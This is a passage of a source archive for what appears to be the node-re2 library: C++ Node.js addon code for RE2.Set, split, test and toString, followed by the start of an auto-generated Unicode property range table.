v8::Isolate::GetCurrent(); auto addonData = getAddonData(isolate); if (!addonData) return; auto maybeNew = Nan::NewInstance(Nan::GetFunction(addonData->re2SetTpl.Get(isolate)).ToLocalChecked(), parameters.size(), ¶meters[0]); if (!maybeNew.IsEmpty()) { info.GetReturnValue().Set(maybeNew.ToLocalChecked()); } return; } if (!info.Length()) { return Nan::ThrowTypeError("Expected an iterable of patterns as the 1st argument."); } SetFlags flags; bool haveFlags = false; bool flagsFromArg = false; v8::Local flagsArg; v8::Local optionsArg; if (info.Length() > 1) { if (info[1]->IsObject() && !info[1]->IsString() && !node::Buffer::HasInstance(info[1])) { optionsArg = info[1]; } else { flagsArg = info[1]; if (info.Length() > 2) { optionsArg = info[2]; } } } if (!flagsArg.IsEmpty()) { if (!parseFlags(flagsArg, flags)) { return Nan::ThrowTypeError("Invalid flags for RE2.Set."); } haveFlags = true; flagsFromArg = true; } re2::RE2::Anchor anchor = re2::RE2::UNANCHORED; int64_t maxMem = 0; bool maxMemAssigned = false; if (!optionsArg.IsEmpty()) { if (!parseAnchor(optionsArg, anchor)) { return Nan::ThrowTypeError("Invalid anchor option for RE2.Set."); } if (!parseMaxMem(optionsArg, maxMem, maxMemAssigned)) { return Nan::ThrowTypeError("Invalid maxMem option for RE2.Set: must be a positive integer."); } } std::vector> patterns; if (!collectIterable(info[0], patterns)) { return Nan::ThrowTypeError("Expected an iterable of patterns as the 1st argument."); } auto mergeFlags = [&](const SetFlags &candidate) { if (flagsFromArg) { return true; } if (!haveFlags) { flags = candidate; haveFlags = true; return true; } return sameEffectiveOptions(flags, candidate); }; for (auto &value : patterns) { SetFlags patternFlags; bool hasFlagsForPattern = false; if (value->IsRegExp()) { const auto *re = v8::RegExp::Cast(*value); v8::RegExp::Flags reFlags = re->GetFlags(); patternFlags.global = bool(reFlags & v8::RegExp::kGlobal); patternFlags.ignoreCase = bool(reFlags & v8::RegExp::kIgnoreCase); patternFlags.multiline = bool(reFlags & v8::RegExp::kMultiline); patternFlags.dotAll = bool(reFlags & v8::RegExp::kDotAll); patternFlags.unicode = bool(reFlags & v8::RegExp::kUnicode); patternFlags.sticky = bool(reFlags & v8::RegExp::kSticky); patternFlags.hasIndices = bool(reFlags & v8::RegExp::kHasIndices); hasFlagsForPattern = true; } else if (value->IsObject()) { auto maybeObj = value->ToObject(context); if (!maybeObj.IsEmpty()) { auto obj = maybeObj.ToLocalChecked(); if (WrappedRE2::HasInstance(obj)) { auto re2 = Nan::ObjectWrap::Unwrap(obj); patternFlags.global = re2->global; patternFlags.ignoreCase = re2->ignoreCase; patternFlags.multiline = re2->multiline; patternFlags.dotAll = re2->dotAll; patternFlags.unicode = true; patternFlags.sticky = re2->sticky; patternFlags.hasIndices = re2->hasIndices; hasFlagsForPattern = true; } } } if (hasFlagsForPattern && !mergeFlags(patternFlags)) { return Nan::ThrowTypeError("All patterns in RE2.Set must use the same flags."); } } if (!flags.unicode) { switch (WrappedRE2::unicodeWarningLevel) { case WrappedRE2::THROW: return Nan::ThrowSyntaxError(setDeprecationMessage); case WrappedRE2::WARN: printDeprecationWarning(setDeprecationMessage); break; case WrappedRE2::WARN_ONCE: if (!WrappedRE2::alreadyWarnedAboutUnicode) { printDeprecationWarning(setDeprecationMessage); WrappedRE2::alreadyWarnedAboutUnicode = true; } break; default: break; } } re2::RE2::Options options; options.set_case_sensitive(!flags.ignoreCase); options.set_one_line(!flags.multiline); options.set_dot_nl(flags.dotAll); options.set_log_errors(false); if (maxMemAssigned) { options.set_max_mem(maxMem); } std::unique_ptr set(new WrappedRE2Set(options, anchor, flagsToString(flags))); std::vector buffer; for (auto &value : patterns) { const char *data = nullptr; size_t size = 0; std::string source; if (node::Buffer::HasInstance(value)) { size = node::Buffer::Length(value); data = node::Buffer::Data(value); source = escapeRegExp(data, size); } else if (value->IsRegExp()) { const auto *re = v8::RegExp::Cast(*value); auto t = re->GetSource()->ToString(context); if (t.IsEmpty()) { return; } auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); writeUtf8(s, isolate, &buffer[0], buffer.size()); buffer[size] = '\0'; data = &buffer[0]; source = escapeRegExp(data, size); } else if (value->IsString()) { auto t = value->ToString(context); if (t.IsEmpty()) { return; } auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); writeUtf8(s, isolate, &buffer[0], buffer.size()); buffer[size] = '\0'; data = &buffer[0]; source = escapeRegExp(data, size); } else if (value->IsObject()) { auto maybeObj = value->ToObject(context); if (maybeObj.IsEmpty()) { return; } auto obj = maybeObj.ToLocalChecked(); if (!WrappedRE2::HasInstance(obj)) { return Nan::ThrowTypeError("Expected a string, Buffer, RegExp, or RE2 instance in the pattern list."); } auto re2 = Nan::ObjectWrap::Unwrap(obj); source = re2->source; data = source.data(); size = source.size(); } else { return Nan::ThrowTypeError("Expected a string, Buffer, RegExp, or RE2 instance in the pattern list."); } if (translateRegExp(data, size, flags.multiline, buffer)) { data = &buffer[0]; size = buffer.size() - 1; } std::string error; if (set->set.Add(re2::StringPiece(data, size), &error) < 0) { if (error.empty()) { error = "Invalid pattern in RE2.Set."; } return Nan::ThrowSyntaxError(error.c_str()); } set->sources.push_back(source); } if (!set->set.Compile()) { return Nan::ThrowError("RE2.Set could not be compiled."); } set->combinedSource = makeCombinedSource(set->sources); set->Wrap(info.This()); set.release(); info.GetReturnValue().Set(info.This()); } NAN_METHOD(WrappedRE2Set::Test) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(false); return; } StrVal str; v8::Local keepAlive; if (!fillInput(info[0], str, keepAlive)) { return; } re2::RE2::Set::ErrorInfo errorInfo{re2::RE2::Set::kNoError}; bool matched = re2set->set.Match(str, nullptr, &errorInfo); if (!matched && errorInfo.kind != re2::RE2::Set::kNoError) { const char *message = "RE2.Set matching failed."; switch (errorInfo.kind) { case re2::RE2::Set::kOutOfMemory: message = "RE2.Set matching failed: out of memory."; break; case re2::RE2::Set::kInconsistent: message = "RE2.Set matching failed: inconsistent result."; break; case re2::RE2::Set::kNotCompiled: message = "RE2.Set matching failed: set is not compiled."; break; default: break; } return Nan::ThrowError(message); } info.GetReturnValue().Set(matched); } NAN_METHOD(WrappedRE2Set::Match) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(Nan::New(0)); return; } StrVal str; v8::Local keepAlive; if (!fillInput(info[0], str, keepAlive)) { return; } std::vector matches; re2::RE2::Set::ErrorInfo errorInfo{re2::RE2::Set::kNoError}; bool matched = re2set->set.Match(str, &matches, &errorInfo); if (!matched && errorInfo.kind != re2::RE2::Set::kNoError) { const char *message = "RE2.Set matching failed."; switch (errorInfo.kind) { case re2::RE2::Set::kOutOfMemory: message = "RE2.Set matching failed: out of memory."; break; case re2::RE2::Set::kInconsistent: message = "RE2.Set matching failed: inconsistent result."; break; case re2::RE2::Set::kNotCompiled: message = "RE2.Set matching failed: set is not compiled."; break; default: break; } return Nan::ThrowError(message); } std::sort(matches.begin(), matches.end()); auto result = Nan::New(matches.size()); for (size_t i = 0, n = matches.size(); i < n; ++i) { Nan::Set(result, i, Nan::New(matches[i])); } info.GetReturnValue().Set(result); } NAN_METHOD(WrappedRE2Set::ToString) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().SetEmptyString(); return; } std::string result = "/"; result += re2set->combinedSource; result += "/"; result += re2set->flags; info.GetReturnValue().Set(Nan::New(result).ToLocalChecked()); } NAN_GETTER(WrappedRE2Set::GetFlags) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(Nan::New("u").ToLocalChecked()); return; } info.GetReturnValue().Set(Nan::New(re2set->flags).ToLocalChecked()); } NAN_GETTER(WrappedRE2Set::GetSources) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(Nan::New(0)); return; } auto result = Nan::New(re2set->sources.size()); for (size_t i = 0, n = re2set->sources.size(); i < n; ++i) { Nan::Set(result, i, Nan::New(re2set->sources[i]).ToLocalChecked()); } info.GetReturnValue().Set(result); } NAN_GETTER(WrappedRE2Set::GetSource) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(Nan::New("(?:)").ToLocalChecked()); return; } info.GetReturnValue().Set(Nan::New(re2set->combinedSource).ToLocalChecked()); } NAN_GETTER(WrappedRE2Set::GetSize) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(0); return; } info.GetReturnValue().Set(static_cast(re2set->sources.size())); } NAN_GETTER(WrappedRE2Set::GetAnchor) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(Nan::New("unanchored").ToLocalChecked()); return; } info.GetReturnValue().Set(Nan::New(anchorToString(re2set->anchor)).ToLocalChecked()); } NAN_GETTER(WrappedRE2Set::GetMaxMem) { auto re2set = Nan::ObjectWrap::Unwrap(info.This()); if (!re2set) { info.GetReturnValue().Set(0); return; } info.GetReturnValue().Set(Nan::New(static_cast(re2set->maxMem))); } v8::Local WrappedRE2Set::Init() { Nan::EscapableHandleScope scope; auto tpl = Nan::New(New); tpl->SetClassName(Nan::New("RE2Set").ToLocalChecked()); auto instanceTemplate = tpl->InstanceTemplate(); instanceTemplate->SetInternalFieldCount(1); Nan::SetPrototypeMethod(tpl, "test", Test); Nan::SetPrototypeMethod(tpl, "match", Match); Nan::SetPrototypeMethod(tpl, "toString", ToString); Nan::SetAccessor(instanceTemplate, Nan::New("flags").ToLocalChecked(), GetFlags); Nan::SetAccessor(instanceTemplate, Nan::New("sources").ToLocalChecked(), GetSources); Nan::SetAccessor(instanceTemplate, Nan::New("source").ToLocalChecked(), GetSource); Nan::SetAccessor(instanceTemplate, Nan::New("size").ToLocalChecked(), GetSize); Nan::SetAccessor(instanceTemplate, Nan::New("anchor").ToLocalChecked(), GetAnchor); Nan::SetAccessor(instanceTemplate, Nan::New("maxMem").ToLocalChecked(), GetMaxMem); auto isolate = v8::Isolate::GetCurrent(); auto data = getAddonData(isolate); if (data) { data->re2SetTpl.Reset(tpl); } return scope.Escape(Nan::GetFunction(tpl).ToLocalChecked()); } uhop-node-re2-2d93a5d/lib/split.cc000066400000000000000000000045111521435504200167250ustar00rootroot00000000000000#include "./wrapped_re2.h" #include #include #include NAN_METHOD(WrappedRE2::Split) { auto result = Nan::New(); // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { Nan::Set(result, 0, info[0]); info.GetReturnValue().Set(result); return; } PrepareLastString prep(re2, info[0]); StrVal& str = prep; if (str.isBad) return; // throws an exception size_t limit = std::numeric_limits::max(); if (info.Length() > 1 && info[1]->IsNumber()) { size_t lim = info[1]->NumberValue(Nan::GetCurrentContext()).FromMaybe(0); if (lim > 0) { limit = lim; } } // actual work std::vector groups(re2->regexp.NumberOfCapturingGroups() + 1), pieces; const auto &match = groups[0]; size_t byteIndex = 0; while (byteIndex < str.size && re2->regexp.Match(str, byteIndex, str.size, RE2::UNANCHORED, &groups[0], groups.size())) { if (match.size()) { pieces.push_back(re2::StringPiece(str.data + byteIndex, match.data() - str.data - byteIndex)); byteIndex = match.data() - str.data + match.size(); pieces.insert(pieces.end(), groups.begin() + 1, groups.end()); } else { size_t sym_size = getUtf8CharSize(str.data[byteIndex]); pieces.push_back(re2::StringPiece(str.data + byteIndex, sym_size)); byteIndex += sym_size; } if (pieces.size() >= limit) { break; } } if (pieces.size() < limit && (byteIndex < str.size || (byteIndex == str.size && match.size()))) { pieces.push_back(re2::StringPiece(str.data + byteIndex, str.size - byteIndex)); } if (pieces.empty()) { Nan::Set(result, 0, info[0]); info.GetReturnValue().Set(result); return; } // form a result if (str.isBuffer) { for (size_t i = 0, n = std::min(pieces.size(), limit); i < n; ++i) { const auto &item = pieces[i]; if (item.data()) { Nan::Set(result, i, Nan::CopyBuffer(item.data(), item.size()).ToLocalChecked()); } else { Nan::Set(result, i, Nan::Undefined()); } } } else { for (size_t i = 0, n = std::min(pieces.size(), limit); i < n; ++i) { const auto &item = pieces[i]; if (item.data()) { Nan::Set(result, i, Nan::New(item.data(), item.size()).ToLocalChecked()); } else { Nan::Set(result, i, Nan::Undefined()); } } } info.GetReturnValue().Set(result); } uhop-node-re2-2d93a5d/lib/test.cc000066400000000000000000000020151521435504200165460ustar00rootroot00000000000000#include "./wrapped_re2.h" #include NAN_METHOD(WrappedRE2::Test) { // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().Set(false); return; } PrepareLastString prep(re2, info[0]); StrVal& str = prep; if (str.isBad) return; // throws an exception if (!re2->global && !re2->sticky) { info.GetReturnValue().Set(re2->regexp.Match(str, 0, str.size, re2::RE2::UNANCHORED, NULL, 0)); return; } if (!str.isValidIndex) { re2->lastIndex = 0; info.GetReturnValue().Set(false); return; } // actual work re2::StringPiece match; if (re2->regexp.Match(str, str.byteIndex, str.size, re2->sticky ? re2::RE2::ANCHOR_START : re2::RE2::UNANCHORED, &match, 1)) { re2->lastIndex += str.isBuffer ? match.data() - str.data + match.size() - str.byteIndex : toUtf16Index(str.isAscii, str.data + str.byteIndex, match.data() + match.size()); info.GetReturnValue().Set(true); return; } re2->lastIndex = 0; info.GetReturnValue().Set(false); } uhop-node-re2-2d93a5d/lib/to_string.cc000066400000000000000000000012241521435504200176000ustar00rootroot00000000000000#include "./wrapped_re2.h" #include NAN_METHOD(WrappedRE2::ToString) { // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().SetEmptyString(); return; } // actual work std::string buffer("/"); buffer += re2->source; buffer += "/"; if (re2->hasIndices) { buffer += "d"; } if (re2->global) { buffer += "g"; } if (re2->ignoreCase) { buffer += "i"; } if (re2->multiline) { buffer += "m"; } if (re2->dotAll) { buffer += "s"; } buffer += "u"; if (re2->sticky) { buffer += "y"; } info.GetReturnValue().Set(Nan::New(buffer).ToLocalChecked()); } uhop-node-re2-2d93a5d/lib/unicode_properties.h000066400000000000000000011333001521435504200213360ustar00rootroot00000000000000// Auto-generated by scripts/gen-unicode-properties.mjs — do not edit by hand. // Source: @unicode/unicode-17.0.0 + Unicode PropertyValueAliases.txt // Unicode version: 17.0.0 #pragma once #include #include struct UnicodeRange { uint32_t lo; uint32_t hi; }; struct UnicodePropertyTable { const char *name; const UnicodeRange *ranges; size_t count; }; static const UnicodeRange kRanges_ASCII[] = { {0x0, 0x7F}, }; static const UnicodeRange kRanges_ASCII_Hex_Digit[] = { {0x30, 0x39}, {0x41, 0x46}, {0x61, 0x66}, }; static const UnicodeRange kRanges_Alphabetic[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2C1}, {0x2C6, 0x2D1}, {0x2E0, 0x2E4}, {0x2EC, 0x2EC}, {0x2EE, 0x2EE}, {0x345, 0x345}, {0x363, 0x374}, {0x376, 0x377}, {0x37A, 0x37D}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x559}, {0x560, 0x588}, {0x5B0, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x5D0, 0x5EA}, {0x5EF, 0x5F2}, {0x610, 0x61A}, {0x620, 0x657}, {0x659, 0x65F}, {0x66E, 0x6D3}, {0x6D5, 0x6DC}, {0x6E1, 0x6E8}, {0x6ED, 0x6EF}, {0x6FA, 0x6FC}, {0x6FF, 0x6FF}, {0x710, 0x73F}, {0x74D, 0x7B1}, {0x7CA, 0x7EA}, {0x7F4, 0x7F5}, {0x7FA, 0x7FA}, {0x800, 0x817}, {0x81A, 0x82C}, {0x840, 0x858}, {0x860, 0x86A}, {0x870, 0x887}, {0x889, 0x88F}, {0x897, 0x897}, {0x8A0, 0x8C9}, {0x8D4, 0x8DF}, {0x8E3, 0x8E9}, {0x8F0, 0x93B}, {0x93D, 0x94C}, {0x94E, 0x950}, {0x955, 0x963}, {0x971, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BD, 0x9C4}, {0x9C7, 0x9C8}, {0x9CB, 0x9CC}, {0x9CE, 0x9CE}, {0x9D7, 0x9D7}, {0x9DC, 0x9DD}, {0x9DF, 0x9E3}, {0x9F0, 0x9F1}, {0x9FC, 0x9FC}, {0xA01, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3E, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4C}, {0xA51, 0xA51}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA70, 0xA75}, {0xA81, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABD, 0xAC5}, {0xAC7, 0xAC9}, {0xACB, 0xACC}, {0xAD0, 0xAD0}, {0xAE0, 0xAE3}, {0xAF9, 0xAFC}, {0xB01, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3D, 0xB44}, {0xB47, 0xB48}, {0xB4B, 0xB4C}, {0xB56, 0xB57}, {0xB5C, 0xB5D}, {0xB5F, 0xB63}, {0xB71, 0xB71}, {0xB82, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBE, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCC}, {0xBD0, 0xBD0}, {0xBD7, 0xBD7}, {0xC00, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3D, 0xC44}, {0xC46, 0xC48}, {0xC4A, 0xC4C}, {0xC55, 0xC56}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC63}, {0xC80, 0xC83}, {0xC85, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBD, 0xCC4}, {0xCC6, 0xCC8}, {0xCCA, 0xCCC}, {0xCD5, 0xCD6}, {0xCDC, 0xCDE}, {0xCE0, 0xCE3}, {0xCF1, 0xCF3}, {0xD00, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD3A}, {0xD3D, 0xD44}, {0xD46, 0xD48}, {0xD4A, 0xD4C}, {0xD4E, 0xD4E}, {0xD54, 0xD57}, {0xD5F, 0xD63}, {0xD7A, 0xD7F}, {0xD81, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDCF, 0xDD4}, {0xDD6, 0xDD6}, {0xDD8, 0xDDF}, {0xDF2, 0xDF3}, {0xE01, 0xE3A}, {0xE40, 0xE46}, {0xE4D, 0xE4D}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEB9}, {0xEBB, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xECD, 0xECD}, {0xEDC, 0xEDF}, {0xF00, 0xF00}, {0xF40, 0xF47}, {0xF49, 0xF6C}, {0xF71, 0xF83}, {0xF88, 0xF97}, {0xF99, 0xFBC}, {0x1000, 0x1036}, {0x1038, 0x1038}, {0x103B, 0x103F}, {0x1050, 0x108F}, {0x109A, 0x109D}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x1380, 0x138F}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1401, 0x166C}, {0x166F, 0x167F}, {0x1681, 0x169A}, {0x16A0, 0x16EA}, {0x16EE, 0x16F8}, {0x1700, 0x1713}, {0x171F, 0x1733}, {0x1740, 0x1753}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1772, 0x1773}, {0x1780, 0x17B3}, {0x17B6, 0x17C8}, {0x17D7, 0x17D7}, {0x17DC, 0x17DC}, {0x1820, 0x1878}, {0x1880, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x1938}, {0x1950, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x1A00, 0x1A1B}, {0x1A20, 0x1A5E}, {0x1A61, 0x1A74}, {0x1AA7, 0x1AA7}, {0x1ABF, 0x1AC0}, {0x1ACC, 0x1ACE}, {0x1B00, 0x1B33}, {0x1B35, 0x1B43}, {0x1B45, 0x1B4C}, {0x1B80, 0x1BA9}, {0x1BAC, 0x1BAF}, {0x1BBA, 0x1BE5}, {0x1BE7, 0x1BF1}, {0x1C00, 0x1C36}, {0x1C4D, 0x1C4F}, {0x1C5A, 0x1C7D}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1CE9, 0x1CEC}, {0x1CEE, 0x1CF3}, {0x1CF5, 0x1CF6}, {0x1CFA, 0x1CFA}, {0x1D00, 0x1DBF}, {0x1DD3, 0x1DF4}, {0x1E00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2119, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x212D}, {0x212F, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x24B6, 0x24E9}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D6F}, {0x2D80, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x2DE0, 0x2DFF}, {0x2E2F, 0x2E2F}, {0x3005, 0x3007}, {0x3021, 0x3029}, {0x3031, 0x3035}, {0x3038, 0x303C}, {0x3041, 0x3096}, {0x309D, 0x309F}, {0x30A1, 0x30FA}, {0x30FC, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x31A0, 0x31BF}, {0x31F0, 0x31FF}, {0x3400, 0x4DBF}, {0x4E00, 0xA48C}, {0xA4D0, 0xA4FD}, {0xA500, 0xA60C}, {0xA610, 0xA61F}, {0xA62A, 0xA62B}, {0xA640, 0xA66E}, {0xA674, 0xA67B}, {0xA67F, 0xA6EF}, {0xA717, 0xA71F}, {0xA722, 0xA788}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA805}, {0xA807, 0xA827}, {0xA840, 0xA873}, {0xA880, 0xA8C3}, {0xA8C5, 0xA8C5}, {0xA8F2, 0xA8F7}, {0xA8FB, 0xA8FB}, {0xA8FD, 0xA8FF}, {0xA90A, 0xA92A}, {0xA930, 0xA952}, {0xA960, 0xA97C}, {0xA980, 0xA9B2}, {0xA9B4, 0xA9BF}, {0xA9CF, 0xA9CF}, {0xA9E0, 0xA9EF}, {0xA9FA, 0xA9FE}, {0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA60, 0xAA76}, {0xAA7A, 0xAABE}, {0xAAC0, 0xAAC0}, {0xAAC2, 0xAAC2}, {0xAADB, 0xAADD}, {0xAAE0, 0xAAEF}, {0xAAF2, 0xAAF5}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABEA}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB28}, {0xFB2A, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDFB}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0xFF66, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10140, 0x10174}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x10300, 0x1031F}, {0x1032D, 0x1034A}, {0x10350, 0x1037A}, {0x10380, 0x1039D}, {0x103A0, 0x103C3}, {0x103C8, 0x103CF}, {0x103D1, 0x103D5}, {0x10400, 0x1049D}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10860, 0x10876}, {0x10880, 0x1089E}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x10900, 0x10915}, {0x10920, 0x10939}, {0x10940, 0x10959}, {0x10980, 0x109B7}, {0x109BE, 0x109BF}, {0x10A00, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A60, 0x10A7C}, {0x10A80, 0x10A9C}, {0x10AC0, 0x10AC7}, {0x10AC9, 0x10AE4}, {0x10B00, 0x10B35}, {0x10B40, 0x10B55}, {0x10B60, 0x10B72}, {0x10B80, 0x10B91}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D00, 0x10D27}, {0x10D4A, 0x10D65}, {0x10D69, 0x10D69}, {0x10D6F, 0x10D85}, {0x10E80, 0x10EA9}, {0x10EAB, 0x10EAC}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10EFA, 0x10EFC}, {0x10F00, 0x10F1C}, {0x10F27, 0x10F27}, {0x10F30, 0x10F45}, {0x10F70, 0x10F81}, {0x10FB0, 0x10FC4}, {0x10FE0, 0x10FF6}, {0x11000, 0x11045}, {0x11071, 0x11075}, {0x11080, 0x110B8}, {0x110C2, 0x110C2}, {0x110D0, 0x110E8}, {0x11100, 0x11132}, {0x11144, 0x11147}, {0x11150, 0x11172}, {0x11176, 0x11176}, {0x11180, 0x111BF}, {0x111C1, 0x111C4}, {0x111CE, 0x111CF}, {0x111DA, 0x111DA}, {0x111DC, 0x111DC}, {0x11200, 0x11211}, {0x11213, 0x11234}, {0x11237, 0x11237}, {0x1123E, 0x11241}, {0x11280, 